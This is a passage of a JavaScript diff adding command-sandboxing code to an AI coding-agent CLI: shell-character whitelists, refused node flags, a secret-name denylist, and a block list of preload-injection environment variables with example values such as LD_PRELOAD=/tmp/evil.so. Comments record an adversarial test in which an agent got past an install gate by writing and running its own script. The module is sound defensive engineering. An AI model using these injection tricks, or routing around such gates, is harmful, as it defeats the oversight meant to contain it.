+ return { ok: false, error: `${where}: "${bin}" is not a plain program name — a path is not accepted here, only a name resolved on PATH` };
1057
+ }
1058
+ if (NEVER_ALLOWED_BINARIES.has(bin.toLowerCase())) {
1059
+ return {
1060
+ ok: false,
1061
+ error: `${where}: "${bin}" is a shell (or runs one), and it is refused at every layer including this one. A shell parses the command string, which is the exact thing this tool exists to prevent — every other guard here assumes no shell exists.`,
1062
+ };
1063
+ }
1064
+ return { ok: true, binary: bin };
1065
+ }
1066
+
1067
+ function readPresetNames(value, where) {
1068
+ if (!Array.isArray(value)) {
1069
+ return { ok: false, error: `${where}: "presets" must be an array of strings${typeof value === 'string' ? ` (wrap it: ["${value}"])` : ''}` };
1070
+ }
1071
+ const out = [];
1072
+ for (const item of value) {
1073
+ if (typeof item !== 'string' || !item.trim()) {
1074
+ return { ok: false, error: `${where}: "presets" contains ${JSON.stringify(item)}, which is not a non-empty string` };
1075
+ }
1076
+ const name = item.trim();
1077
+ if (!COMMAND_PRESETS[name]) {
1078
+ const near = PRESET_NAMES.filter((n) => n.startsWith(name.slice(0, 2)) || name.startsWith(n.slice(0, 2)));
1079
+ return {
1080
+ ok: false,
1081
+ error: `${where}: "${name}" is not a preset${near.length ? `. Did you mean ${near.map((n) => `"${n}"`).join(' or ')}?` : ''} Known presets: ${PRESET_NAMES.join(', ')}`,
1082
+ };
1083
+ }
1084
+ if (!out.includes(name)) out.push(name);
1085
+ }
1086
+ return { ok: true, value: out };
1087
+ }
1088
+
1089
+ /**
1090
+ * Parse `.acuvo/commands.json`.
1091
+ *
1092
+ * ⚠️ FAIL CLOSED, AND AN UNKNOWN KEY IS AN ERROR — the same reasoning
1093
+ * `policy.mjs` gives and the same accident being designed against:
1094
+ * `{"preset": ["python"]}` is valid JSON, enables nothing, and reads to a human
1095
+ * as an enabled ecosystem. A typo whose symptom is "everything looks fine" is
1096
+ * the one that survives review.
1097
+ *
1098
+ * @param {string} text
1099
+ * @param {{ label?: string, admin?: boolean }} [opts]
1100
+ */
1101
+ export function parseCommandsConfig(text, { label = COMMANDS_CONFIG_FILE, admin = false } = {}) {
1102
+ if (typeof text !== 'string') return { ok: false, error: `${label}: expected the file's text` };
1103
+ // ⚠️ A UTF-8 BOM is what Windows editors write, and `JSON.parse` throws on it.
1104
+ // Refusing a real file a real user saved is the "check that fails correct
1105
+ // work" failure, so it is stripped before parsing rather than diagnosed after.
1106
+ const trimmed = text.replace(/^\uFEFF/, '').trim();
1107
+ if (!trimmed) {
1108
+ return { ok: false, error: `${label}: the file is empty. Write {} for a config that enables nothing, or {"presets":["python"]} to enable an ecosystem.` };
1109
+ }
1110
+ let doc;
1111
+ try {
1112
+ doc = JSON.parse(trimmed);
1113
+ } catch (err) {
1114
+ return { ok: false, error: `${label}: not valid JSON — ${err instanceof Error ? err.message : String(err)}` };
1115
+ }
1116
+ if (typeof doc !== 'object' || doc === null || Array.isArray(doc)) {
1117
+ return { ok: false, error: `${label}: the top level must be a JSON object` };
1118
+ }
1119
+ for (const key of Object.keys(doc)) {
1120
+ if (!CONFIG_KEYS.has(key)) {
1121
+ return { ok: false, error: `${label}: unknown setting "${key}". A misspelled key enables nothing and reads like it enabled something. Known: ${[...CONFIG_KEYS].join(', ')}` };
1122
+ }
1123
+ }
1124
+
1125
+ const out = { presets: [], allow: [] };
1126
+ if ('presets' in doc) {
1127
+ const p = readPresetNames(doc.presets, label);
1128
+ if (!p.ok) return p;
1129
+ out.presets = p.value;
1130
+ }
1131
+ if ('allow' in doc) {
1132
+ if (!admin) {
1133
+ return {
1134
+ ok: false,
1135
+ error: `${label}: "allow" names an arbitrary program, and this file is inside the workspace — the agent can write it, so a grant here would be the agent granting itself. Presets are allowed here because every preset is a vetted menu item. To add a program of your own, set ${ALLOW_COMMANDS_ENV} in the environment that launches the CLI.`,
1136
+ };
1137
+ }
1138
+ if (!Array.isArray(doc.allow)) return { ok: false, error: `${label}: "allow" must be an array` };
1139
+ for (const entry of doc.allow) {
1140
+ const raw = typeof entry === 'string' ? { binary: entry } : entry;
1141
+ if (typeof raw !== 'object' || raw === null) return { ok: false, error: `${label}: "allow" contains ${JSON.stringify(entry)}, which is not a name or an object` };
1142
+ const named = checkBinaryName(raw.binary, label);
1143
+ if (!named.ok) return named;
1144
+ let flags = [];
1145
+ if ('flags' in raw) {
1146
+ if (!Array.isArray(raw.flags)) return { ok: false, error: `${label}: "flags" for ${named.binary} must be an array of strings` };
1147
+ for (const f of raw.flags) {
1148
+ if (typeof f !== 'string' || !f.trim()) return { ok: false, error: `${label}: "flags" for ${named.binary} contains ${JSON.stringify(f)}` };
1149
+ flags.push(f.trim());
1150
+ }
1151
+ }
1152
+ out.allow.push({ binary: named.binary, flags });
1153
+ }
1154
+ }
1155
+ return { ok: true, config: out };
1156
+ }
1157
+
1158
+ /**
1159
+ * Parse `ACUVO_ALLOW_COMMANDS`.
1160
+ *
1161
+ * Comma-separated. An entry that names a preset enables it; anything else is a
1162
+ * binary declaration, optionally with its flags: `ruff:check|--fix`.
1163
+ *
1164
+ * ⚠️ A BARE BINARY GETS NO FLAGS, and that is deliberate rather than lazy. We do
1165
+ * not know a stranger binary's argument semantics — `-c` means "config" to one
1166
+ * program and "execute this string" to the next — so guessing a generic flag
1167
+ * shape would be a guard that pretends. The person adding the binary knows, so
1168
+ * they say, and the refusal message tells them where.
1169
+ *
1170
+ * @param {unknown} raw
1171
+ */
1172
+ export function parseAllowCommandsEnv(raw) {
1173
+ const where = ALLOW_COMMANDS_ENV;
1174
+ if (raw === undefined || raw === null) return { ok: true, presets: [], allow: [], stated: false };
1175
+ if (typeof raw !== 'string') return { ok: false, error: `${where}: expected a string` };
1176
+ const text = raw.trim();
1177
+ if (!text) return { ok: true, presets: [], allow: [], stated: false };
1178
+
1179
+ const presets = [];
1180
+ const allow = [];
1181
+ for (const piece of text.split(',')) {
1182
+ const entry = piece.trim();
1183
+ if (!entry) continue;
1184
+ const colon = entry.indexOf(':');
1185
+ const name = (colon === -1 ? entry : entry.slice(0, colon)).trim();
1186
+ if (colon === -1 && COMMAND_PRESETS[name]) {
1187
+ if (!presets.includes(name)) presets.push(name);
1188
+ continue;
1189
+ }
1190
+ const named = checkBinaryName(name, where);
1191
+ if (!named.ok) return named;
1192
+ const flags = colon === -1
1193
+ ? []
1194
+ : entry.slice(colon + 1).split('|').map((f) => f.trim()).filter(Boolean);
1195
+ allow.push({ binary: named.binary, flags });
1196
+ }
1197
+ return { ok: true, presets, allow, stated: true };
1198
+ }
1199
+
1200
+ /**
1201
+ * Fold both layers into one allowlist. PURE — it takes text, not paths, exactly
1202
+ * like `loadPolicy`, so the whole decision is testable without a disk.
1203
+ *
1204
+ * @param {{ configText?: string|null, configLabel?: string, envValue?: unknown }} [input]
1205
+ */
1206
+ export function resolveCommandAllowlist({ configText = null, configLabel = COMMANDS_CONFIG_FILE, envValue = undefined } = {}) {
1207
+ const sources = [];
1208
+ let presets = [];
1209
+ let allow = [];
1210
+
1211
+ const env = parseAllowCommandsEnv(envValue);
1212
+ if (!env.ok) return env;
1213
+ if (env.stated) {
1214
+ presets = [...presets, ...env.presets];
1215
+ allow = [...allow, ...env.allow];
1216
+ sources.push({ label: ALLOW_COMMANDS_ENV, trusted: true });
1217
+ }
1218
+
1219
+ if (configText !== null && configText !== undefined) {
1220
+ const parsed = parseCommandsConfig(configText, { label: configLabel, admin: false });
1221
+ if (!parsed.ok) return parsed;
1222
+ for (const p of parsed.config.presets) if (!presets.includes(p)) presets.push(p);
1223
+ sources.push({ label: configLabel, trusted: false });
1224
+ }
1225
+
1226
+ return { ok: true, allowlist: buildAllowlist({ presets, allow }), sources, presets };
1227
+ }
1228
+
1229
+ /**
1230
+ * ⚠️ A DIFFERENT LIST FOR `package.json` SCRIPT BODIES, AND THE DIFFERENCE IS
1231
+ * DELIBERATE IN BOTH DIRECTIONS.
1232
+ *
1233
+ * `vitest` is added, because `"test": "vitest run"` is what a real project
1234
+ * contains and refusing it would make the npm layer useless. `npm` and `npx`
1235
+ * are REMOVED, because a script that shells out to another script is a chain
1236
+ * this validator would have to follow to stay honest — and a validator that
1237
+ * checks the first link and waves the rest through is worse than one that says
1238
+ * "I cannot verify this" and refuses.
1239
+ */
1240
+ export const ALLOWED_SCRIPT_BINARIES = ['node', 'vitest', 'tsc'];
1241
+
1242
+ /** `npx <package>` downloads and executes a stranger's code. Two packages, and
1243
+ * `--no` is injected at spawn time so even these can never be fetched. */
1244
+ export const ALLOWED_NPX_PACKAGES = ['vitest', 'tsc'];
1245
+
1246
+ /**
1247
+ * ⚠️ THE CHARACTER WHITELIST. Same doctrine as `workspace.mjs`: enumerate what
1248
+ * is allowed, never what is forbidden. Every quoting trick, every encoding of
1249
+ * `;`, every newline-as-second-command and every `$IFS` cleverness dies here
1250
+ * without anyone having had to think of it first.
1251
+ *
1252
+ * `:` earns its place because `npm run build:prod` is normal. `=` because
1253
+ * `--reporter=basic` is normal. That is the whole justification for both.
1254
+ */
1255
+ /**
1256
+ * ── ⚠️⭐ `*` AND `?` ARE ALLOWED, AND REFUSING THEM WAS PURE LOSS ────────────
1257
+ *
1258
+ * The whitelist blocked them as "shell metacharacters". They are not dangerous
1259
+ * HERE, and the reason is the same one this whole file rests on: **there is no
1260
+ * shell.** A glob cannot start a second command, cannot redirect, cannot
1261
+ * substitute. Unexpanded, it is an ordinary string argument.
1262
+ *
1263
+ * ⚠️ AND THE COST WAS ABSURD: `node --test test/*.test.mjs` is the single most
1264
+ * common test invocation in modern Node, and it is **this package's own test
1265
+ * script** — so Acuvo Code could not run Acuvo Code's test suite. Measured: it
1266
+ * cost a real eval task an entire round, and the model had no way to recover
1267
+ * because the refusal named a rule rather than an alternative.
1268
+ *
1269
+ * ⭐ VERIFIED RATHER THAN ASSUMED: spawned with `shell: false`, the literal
1270
+ * `test/*.test.mjs` reaches node and **node expands it itself** — 316 tests, exit
1271
+ * 0. The glob never needed a shell; we were protecting against an expansion that
1272
+ * only a shell performs.
1273
+ *
1274
+ * ⚠️ Everything genuinely dangerous stays refused: & | ; < > ( ) ` $ quotes and
1275
+ * newlines. Path containment is unaffected — a glob argument is still resolved
1276
+ * and still refused if it escapes the workspace, which is checked downstream and
1277
+ * not here.
1278
+ */
1279
+ /**
1280
+ * ── ⚠️⭐ `@` WAS BLOCKED, AND IT BLOCKED TWO ORDINARY THINGS ────────────────
1281
+ *
1282
+ * MEASURED while building the install gate: `@` was not in this class, so
1283
+ * `npm install @types/node` and `zod@4.1.12` were refused by the TOKENIZER —
1284
+ * before any install policy ran — with a message about an unsafe character.
1285
+ * Worse, and entirely unrelated to installs, so was
1286
+ * `node node_modules/@scope/pkg/cli.js`: every scoped package's own files were
1287
+ * unreachable to `run_command`, which is a large fraction of modern
1288
+ * `node_modules`.
1289
+ *
1290
+ * ⭐ It is safe here for exactly the reason `*` and `?` are (see above): THERE
1291
+ * IS NO SHELL. `@` cannot start a second command, cannot redirect, cannot
1292
+ * substitute; in `sh` it is not a metacharacter at all, and in `cmd.exe` its
1293
+ * only meaning is echo-suppression at the start of a BATCH LINE, which never
1294
+ * exists because nothing is ever handed to `cmd`. Unexpanded it is an ordinary
1295
+ * string, and every operand still goes through `normalizeRelativePath`.
1296
+ *
1297
+ * ⚠️ THESE TWO REGEXES MUST STAY THE EXACT COMPLEMENT OF EACH OTHER. They are
1298
+ * written twice (one to accept, one to name the offending character) and a
1299
+ * character present in `UNSAFE_CHAR`'s class but missing from
1300
+ * `SAFE_COMMAND_CHARS` produces a command refused with "contains ''" — a defect
1301
+ * that reads like a rule.
1302
+ *
1303
+ * ⚠️ MEASURED WITH MUTATION, AND ONLY ONE DIRECTION IS OBSERVABLE: dropping `@`
1304
+ * from `SAFE_COMMAND_CHARS` turns `test/npm-install.test.mjs` red; dropping it
1305
+ * from `UNSAFE_CHAR` alone changes NOTHING, because `SAFE_COMMAND_CHARS` is
1306
+ * consulted first and returns early. That second drift is latent rather than
1307
+ * live — it becomes a bug the moment the first list shrinks — so it is written
1308
+ * down here rather than pretended to be tested.
1309
+ */
1310
+ const SAFE_COMMAND_CHARS = /^[A-Za-z0-9 ._\-/=:*?@]+$/;
1311
+ const UNSAFE_CHAR = /[^A-Za-z0-9 ._\-/=:*?@]/;
1312
+
1313
+ /**
1314
+ * Flags whose refusal needs a REASON, because "not on the allowlist" would be
1315
+ * misleading — these are not omissions, they are closed doors.
1316
+ */
1317
+ const REFUSED_NODE_FLAGS = new Map([
1318
+ ['-e', 'code passed with --eval is never written to disk, so nothing it did can be reviewed afterwards'],
1319
+ ['--eval', 'code passed with --eval is never written to disk, so nothing it did can be reviewed afterwards'],
1320
+ ['-p', 'code passed with --print is never written to disk, so nothing it did can be reviewed afterwards'],
1321
+ ['--print', 'code passed with --print is never written to disk, so nothing it did can be reviewed afterwards'],
1322
+ ['--input-type', 'it exists to make --eval work, and --eval is refused'],
1323
+ ['-r', '--require preloads a module the command does not name; write a file and run it instead'],
1324
+ ['--require', '--require preloads a module the command does not name; write a file and run it instead'],
1325
+ ['--import', '--import preloads a module the command does not name; write a file and run it instead'],
1326
+ ['--loader', 'a custom loader rewrites every module that follows it'],
1327
+ ['--experimental-loader', 'a custom loader rewrites every module that follows it'],
1328
+ ['--env-file', 'it loads secrets into the child, and this tool exists partly to keep them out'],
1329
+ ['--inspect', 'a debugger port is a remote control on the process'],
1330
+ ['--inspect-brk', 'a debugger port is a remote control on the process'],
1331
+ ['--watch', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
1332
+ ['--watch-path', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
1333
+ ]);
1334
+
1335
+ const NODE_FLAGS = new Set([
1336
+ '--test', '--check', '--version', '-v',
1337
+ '--no-warnings', '--trace-warnings', '--no-deprecation',
1338
+ '--experimental-strip-types', '--experimental-vm-modules',
1339
+ ]);
1340
+ const NODE_VALUE_FLAGS = new Set(['--test-reporter', '--test-concurrency', '--test-name-pattern']);
1341
+
1342
+ const VITEST_FLAGS = new Set(['--run', '--no-color', '--silent', '--passWithNoTests', '--globals']);
1343
+ const VITEST_VALUE_FLAGS = new Set(['--reporter', '--bail', '--config', '--testTimeout']);
1344
+
1345
+ const TSC_FLAGS = new Set(['--noEmit', '--strict', '--pretty', '--skipLibCheck', '--listFiles', '-p', '--project']);
1346
+ const TSC_VALUE_FLAGS = new Set(['--project', '--target', '--module']);
1347
+ const REFUSED_TSC_FLAGS = new Map([
1348
+ ['-w', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
1349
+ ['--watch', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
1350
+ ]);
1351
+
1352
+ /**
1353
+ * ⚠️ THE ENVIRONMENT SCRUB.
1354
+ *
1355
+ * A command this tool runs is a Node process with network access. If
1356
+ * `OPENROUTER_API_KEY` is in its environment then the loop's own credential is
1357
+ * one `fetch` away from anywhere, and the agent wrote the code doing the
1358
+ * fetching. That is not a hypothetical attack, it is the default arrangement of
1359
+ * a developer's shell.
1360
+ *
1361
+ * ⚠️ THIS IS A DENYLIST AND THAT IS A CONSCIOUS EXCEPTION to the whitelist rule
1362
+ * the rest of this package follows. An allowlist of variable names would break
1363
+ * ordinary test suites constantly — half of them read some `*_URL` or feature
1364
+ * flag — and a safety feature that gets switched off is worth nothing. So the
1365
+ * honest statement of the guarantee: the pattern below catches conventionally
1366
+ * named secrets and always removes this CLI's own key. A variable called
1367
+ * `MY_DB_STRING` would survive. Treat it as one layer, not as the boundary.
1368
+ */
1369
+ const SECRET_NAME = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|PRIVATE|SESSION|COOKIE|AUTH|_DSN$|CONNECTION_STRING)/i;
1370
+
1371
+ /**
1372
+ * ⭐ EXPORTED SO NOBODY WRITES A SECOND COPY. `mcp-consent.mjs` has to decide
1373
+ * whether an env VALUE is safe to print in an approval prompt, and that is the
1374
+ * same question this regex already answers — one list, one place, one set of
1375
+ * caveats (read the paragraph above: it is a layer, not a boundary).
1376
+ *
1377
+ * @param {string} name an environment variable name
1378
+ * @returns {boolean} true when the VALUE should not be shown or logged
1379
+ */
1380
+ export function secretlyNamed(name) {
1381
+ return SECRET_NAME.test(String(name ?? ''));
1382
+ }
1383
+
1384
+ /**
1385
+ * ── ⚠️⚠️ THE HOLE THAT WAS OPEN IN THIS FILE THE WHOLE TIME ─────────────────
1386
+ *
1387
+ * `REFUSED_NODE_FLAGS` refuses `--require`, `--import`, `--loader` and
1388
+ * `--env-file` BY NAME, with a paragraph each explaining why preloading a module
1389
+ * the command does not name is unreviewable. And then the child was handed the
1390
+ * parent's `NODE_OPTIONS`, which carries those same flags into every `node`
1391
+ * process ever spawned. The command-line door was bolted and the window next to
1392
+ * it was open — same file, same class, one env var.
1393
+ *
1394
+ * ⚠️ It is not node-specific either. Every runtime has one, and a preset that
1395
+ * adds `python` or `ruby` adds that runtime's version of the same hole:
1396
+ *
1397
+ * RUBYOPT=-revil · PERL5OPT=-Mevil · PYTHONSTARTUP=/tmp/evil.py
1398
+ * LD_PRELOAD=/tmp/evil.so · DYLD_INSERT_LIBRARIES=…
1399
+ *
1400
+ * These are dropped outright: none of them has a common legitimate use in a
1401
+ * one-shot test run, and every one of them is code injection into a process we
1402
+ * are about to trust the output of.
1403
+ *
1404
+ * ⚠️ WHAT IS DELIBERATELY *NOT* DROPPED: the search paths — `PYTHONPATH`,
1405
+ * `RUBYLIB`, `PERL5LIB`, `LD_LIBRARY_PATH`, `PATH` itself. They are weaker (they
1406
+ * change where a *named* import is found, not what runs unasked) and they are
1407
+ * load-bearing in real repositories. Dropping them would be the "check that
1408
+ * fails correct work" failure — a monorepo whose tests need `PYTHONPATH=src`
1409
+ * would start failing for a reason nobody could see. `PATH` in particular is how
1410
+ * a preset binary is found at all.
1411
+ */
1412
+ const INJECT_ENV_NAMES = new Set([
1413
+ 'RUBYOPT', 'PERL5OPT', 'PYTHONSTARTUP', 'PYTHONINSPECT', 'PYTHONBREAKPOINT',
1414
+ 'LD_PRELOAD', 'LD_AUDIT', 'DYLD_INSERT_LIBRARIES',
1415
+ 'NODE_REPL_EXTERNAL_MODULE', 'BUN_INSPECT_CONNECT_TO',
1416
+ ]);
1417
+
1418
+ /**
1419
+ * The `NODE_OPTIONS` tokens that are the command-line refusals wearing a hat.
1420
+ * Kept in step with `REFUSED_NODE_FLAGS` on purpose — a flag refused in one
1421
+ * place and permitted in the other is the drift this whole comment is about.
1422
+ */
1423
+ const NODE_OPTIONS_REFUSED = new Set([
1424
+ '-r', '--require', '--import', '--loader', '--experimental-loader',
1425
+ '-e', '--eval', '-p', '--print', '--env-file', '--env-file-if-exists',
1426
+ '--inspect', '--inspect-brk', '--inspect-port', '--inspect-publish-uid',
1427
+ '--watch', '--watch-path', '--test-reporter', '--conditions', '-C',
1428
+ '--cpu-prof', '--heap-prof', '--diagnostic-dir', '--report-directory',
1429
+ ]);
1430
+
1431
+ /**
1432
+ * ⭐ FILTERED, NOT DELETED — and that distinction is the whole point.
1433
+ *
1434
+ * `NODE_OPTIONS=--max-old-space-size=4096` is ordinary, correct, load-bearing
1435
+ * configuration; a build that needs it OOMs without it. Deleting the variable
1436
+ * to close the injection would break real work to stop a hypothetical, which is
1437
+ * the failure mode this package has been bitten by four separate times. So the
1438
+ * dangerous tokens are removed and the rest is passed through intact.
1439
+ *
1440
+ * ⚠️ AND WHEN IT CANNOT BE PARSED, IT GOES. `NODE_OPTIONS` supports quoting, and
1441
+ * a half-understood quoted string is precisely how a filter gets walked past
1442
+ * (`--require "a b.js"` tokenises to three pieces under a naive split). We do
1443
+ * not write a quote parser to guess: a value containing a quote is dropped
1444
+ * whole, which fails safe and is honest about why.
1445
+ *
1446
+ * Pure.
1447
+ *
1448
+ * @param {string} value
1449
+ * @returns {string | null} the filtered value, or null if nothing may survive
1450
+ */
1451
+ export function sanitizeNodeOptions(value) {
1452
+ if (typeof value !== 'string') return null;
1453
+ // eslint-disable-next-line no-control-regex
1454
+ if (/["']|[\u0000-\u001f]/.test(value)) return null;
1455
+ const tokens = value.trim().split(/\s+/).filter(Boolean);
1456
+ const kept = [];
1457
+ for (let i = 0; i < tokens.length; i += 1) {
1458
+ const token = tokens[i];
1459
+ const eq = token.indexOf('=');
1460
+ const key = eq === -1 ? token : token.slice(0, eq);
1461
+ if (NODE_OPTIONS_REFUSED.has(key)) {
1462
+ // `--require ./evil.js` is TWO tokens. Dropping only the flag would leave
1463
+ // the path behind as a bare argument, which node reads as a script to run.
1464
+ if (eq === -1 && tokens[i + 1] && !tokens[i + 1].startsWith('-')) i += 1;
1465
+ continue;
1466
+ }
1467
+ kept.push(token);
1468
+ }
1469
+ return kept.length ? kept.join(' ') : null;
1470
+ }
1471
+
1472
+ /**
1473
+ * ⚠️ THE SHAPES ARE DECLARED, not inferred — same reason as `workspace.mjs`.
1474
+ * Left to inference, the return type becomes the three literal keys assigned at
1475
+ * the bottom of this function, and every `scrubbed.PATH` at a call site is a
1476
+ * type error instead of a lookup.
1477
+ *
1478
+ * @param {Record<string, string | undefined>} [env]
1479
+ * @returns {Record<string, string>}
1480
+ */
1481
+ /**
1482
+ * ── ⚠️⚠️ THE GATED ROAD WAS THE SAFE ONE AND THE UNGATED ROAD WAS NOT ───────
1483
+ *
1484
+ * With `ACUVO_ALLOW_INSTALL` unset, `npm install is-number` is refused with a
1485
+ * paragraph. An adversarial pass then wrote `setup.js` with `write_file` and
1486
+ * ran `node setup.js`, which installed the same package — exit 0, and with
1487
+ * LIFECYCLE SCRIPTS ENABLED, because `--ignore-scripts` is a flag this module
1488
+ * puts on the npm command line and a command line it never sees has no flags on
1489
+ * it. So the road with the gate on it was strictly safer than the road without,
1490
+ * which is the wrong way round.
1491
+ *
1492
+ * ⚠️ THE HOLE ITSELF DOES NOT CLOSE, AND SAYING OTHERWISE WOULD BE THE LIE.
1493
+ * `node <a file the model wrote>` is a risk this package carries in the open
1494
+ * and has always carried: `validateInstallSpec`'s own paragraph names it. What
1495
+ * CAN close is the ESCALATION — the step from "code the model wrote runs" to
1496
+ * "a stranger's `postinstall` runs", which is the actual npm supply-chain
1497
+ * vector and the one the Shai-Hulud worm used.
1498
+ *
1499
+ * ⭐ MEASURED, NOT ASSUMED (2026-08-15, this npm):
1500
+ * · `npm_config_ignore_scripts=true` in the ENVIRONMENT suppresses a
1501
+ * dependency's `postinstall` — verified against a control run where the
1502
+ * same probe file WAS written, so the probe can genuinely detect it.
1503
+ * · It reaches npm however npm was started, including from inside a script,
1504
+ * which a command-line flag cannot.
1505
+ *
1506
+ * ⚠️⚠️ AND IT IS DELIBERATELY NOT APPLIED TO npm ITSELF, because the same
1507
+ * measurement showed the cost: with it set, `npm run build` still runs `build`
1508
+ * but SILENTLY SKIPS `prebuild`. This package explicitly resolves and validates
1509
+ * `[pre<name>, <name>, post<name>]` in `validateNpmScriptChain` — pre/post
1510
+ * hooks are behaviour it supports on purpose, and breaking them with no message
1511
+ * would be a guard that fails correct work, which is worse than no guard.
1512
+ *
1513
+ * ⚠️ THE ONE COST THAT REMAINS, STATED RATHER THAN HIDDEN: a NON-npm child that
1514
+ * shells out to `npm run build` loses that build's `prebuild` hook. It is the
1515
+ * narrow case, it is inside the accepted-risk zone already, and it buys the
1516
+ * removal of the escalation above.
1517
+ *
1518
+ * ⭐ DERIVED FROM THE ARGV IT IS ABOUT TO SPAWN, not from a caller's boolean —
1519
+ * the precedent `buildInvocation` sets two hundred lines down, and it matters
1520
+ * here because npm is spawned as `node …/npm-cli.js`, so the FILE is `node`.
1521
+ *
1522
+ * @param {{file?: string, args?: string[]}} invocation what is about to be spawned
1523
+ * @param {Record<string, string|undefined>} [env]
1524
+ */
1525
+ export function childEnvironment({ file = '', args = [] } = {}, env = process.env) {
1526
+ const out = scrubEnvironment(env);
1527
+ if (!spawnsNpmItself(file, args)) out.npm_config_ignore_scripts = 'true';
1528
+ return out;
1529
+ }
1530
+
1531
+ /** Is npm/npx the program here — directly, or as the `.js` file node is handed? */
1532
+ function spawnsNpmItself(file, args) {
1533
+ const words = [String(file ?? ''), ...(Array.isArray(args) ? args.map(String) : [])];
1534
+ return words.some((w) => /(^|[\\/])(npm|npx)(\.cmd|\.exe)?$/i.test(w) || /(^|[\\/])(npm|npx)-cli\.js$/i.test(w));
1535
+ }
1536
+
1537
+ export function scrubEnvironment(env = process.env) {
1538
+ /** @type {Record<string, string>} */
1539
+ const out = {};
1540
+ for (const [name, value] of Object.entries(env)) {
1541
+ if (value === undefined) continue;
1542
+ if (SECRET_NAME.test(name)) continue;
1543
+ // ⚠️ The preload/injection variables — see INJECT_ENV_NAMES. A flag refused
1544
+ // on the command line and permitted through the environment is not refused.
1545
+ if (INJECT_ENV_NAMES.has(name)) continue;
1546
+ if (name === 'NODE_OPTIONS') {
1547
+ const filtered = sanitizeNodeOptions(value);
1548
+ if (filtered !== null) out[name] = filtered;
1549
+ continue;
1550
+ }
1551
+ out[name] = value;
1552
+ }
1553
+ // Belt and braces: these two are the ones that must never survive, whatever
1554
+ // the pattern does or does not match after a future edit.
1555
+ delete out.OPENROUTER_API_KEY;
1556
+ delete out.OPENROUTER_CODEGEN_MODEL;
1557
+ /**
1558
+ * ── ⚠️⚠️ `NODE_TEST_CONTEXT` — A SILENT GREEN, MEASURED SIDE BY SIDE ────────
1559
+ *
1560
+ * `node --test` sets this in every child it starts. A nested `node --test`
1561
+ * that inherits it believes it is a TEST WORKER: it stops printing TAP and
1562
+ * starts writing a serialised v8 stream to a parent that is not listening.
1563
+ * The run then reports **exit 0 with zero bytes of output** — a suite that
1564
+ * failed, reported as a pass, with nothing on screen to give it away.
1565
+ *
1566
+ * MEASURED 2026-08-11, both spawners against the identical failing test file,
1567
+ * from inside a `node --test` process (`NODE_TEST_CONTEXT="child-v8"`):
1568
+ *
1569
+ * run_command → exitCode 0 · 0 bytes of stdout ← the lie
1570
+ * run_program → exitCode 1 · 951 bytes of stdout ← the truth
1571
+ *
1572
+ * `spawn-argv.mjs` found this first and deleted it locally, saying so
1573
+ * explicitly: *"Deleted here rather than in `scrubEnvironment` because that
1574
+ * function is shared with `run_command` and this module must not change its
1575
+ * behaviour."* That was the correct call for a lane that owned one file. At
1576
+ * integration it is the wrong place for the fix — two spawners that disagree
1577
+ * about whether a suite passed is worse than either of them being wrong, and
1578
+ * the disagreement is invisible until someone runs both.
1579
+ *
1580
+ * ⚠️ SAFE FOR EVERY CALLER. `git.mjs` and `evaluate.mjs` share this function
1581
+ * and neither wants a child that believes it is a test worker. And for the
1582
+ * ordinary user nothing changes at all: `bin/acuvo.mjs` is not run under
1583
+ * `node --test`, so the variable is not set and the delete is a no-op. What it
1584
+ * fixes is the case where it IS set — a CI harness, an agent running the CLI
1585
+ * from inside a test, and this package's own suite.
1586
+ */
1587
+ delete out.NODE_TEST_CONTEXT;
1588
+ // ⚠️ CI=1 is not cosmetic — it is what makes vitest, jest and half the npm
1589
+ // ecosystem run once and exit instead of watching, which is the difference
1590
+ // between a result and a timeout.
1591
+ out.CI = '1';
1592
+ // ANSI escape sequences in a tool result are control characters the model
1593
+ // pays for and cannot use.
1594
+ out.NO_COLOR = '1';
1595
+ out.FORCE_COLOR = '0';
1596
+ return out;
1597
+ }
1598
+
1599
+ /**
1600
+ * Split a command string into tokens, refusing anything a shell could act on.
1601
+ *
1602
+ * Pure. Tokenising on whitespace is only safe BECAUSE quotes are already
1603
+ * refused — there are no quoting semantics left to get wrong, which is the
1604
+ * second reason the character whitelist comes first.
1605
+ *
1606
+ * @typedef {{ ok: false, error: string }} CommandRefused
1607
+ * @param {unknown} raw
1608
+ * @returns {{ ok: true, command: string, tokens: string[] } | CommandRefused}
1609
+ */
1610
+ export function tokenizeCommand(raw) {
1611
+ if (typeof raw !== 'string') return { ok: false, error: 'command must be a string' };
1612
+ const command = raw.trim();
1613
+ if (!command) return { ok: false, error: 'empty command' };
1614
+ if (command.length > MAX_COMMAND_LENGTH) {
1615
+ return { ok: false, error: `command is ${command.length} characters, over the ${MAX_COMMAND_LENGTH} limit` };
1616
+ }
1617
+ // Checked before anything else: a newline is not a character in a command,
1618
+ // it is a second command.
1619
+ // eslint-disable-next-line no-control-regex
1620
+ if (/[\u0000-\u001f\u007f]/.test(command)) {
1621
+ return { ok: false, error: 'command contains a control character (a newline would be a second command)' };
1622
+ }
1623
+ if (!SAFE_COMMAND_CHARS.test(command)) {
1624
+ const bad = command.match(UNSAFE_CHAR)?.[0] ?? '?';
1625
+ /**
1626
+ * ── ⭐⭐ A REFUSAL MUST NAME THE WAY THROUGH, OR IT READS AS A CEILING ────
1627
+ *
1628
+ * This message explained the MODEL OF THE WORLD — no shell, one plain
1629
+ * command — and stopped there. So the agent believed the capability was
1630
+ * absent and gave up, while `run_program` and `evaluate` sat right beside it
1631
+ * doing exactly the job.
1632
+ *
1633
+ * ⚠️ MEASURED 2026-08-14, and it cost a whole task. A dogfood run asked for
1634
+ * `node -e "…"` — the commonest zero-dependency check there is — hit this
1635
+ * wall, and the run ended having done nothing. The reviewing agent nearly
1636
+ * filed it as a MISSING CAPABILITY, which would have been wrong: the
1637
+ * capability ships, takes the same allowlist, and is one tool call away.
1638
+ *
1639
+ * ⭐ THE RULE: when a refusal exists because a SAFER PATH exists, the
1640
+ * refusal must name that path. Anything else teaches the reader the tool
1641
+ * cannot do it — and an agent that believes a thing is impossible stops
1642
+ * trying, which is the most expensive way to be wrong.
1643
+ *
1644
+ * ⚠️ The two are not interchangeable, so the wording distinguishes them
1645
+ * rather than offering a vague "try something else": `run_program` takes a
1646
+ * real argument ARRAY (no shell, so quotes and spaces are just characters),
1647
+ * and `evaluate` is the one for JavaScript, which is what `node -e` was
1648
+ * reaching for in the first place.
1649
+ */
1650
+ return {
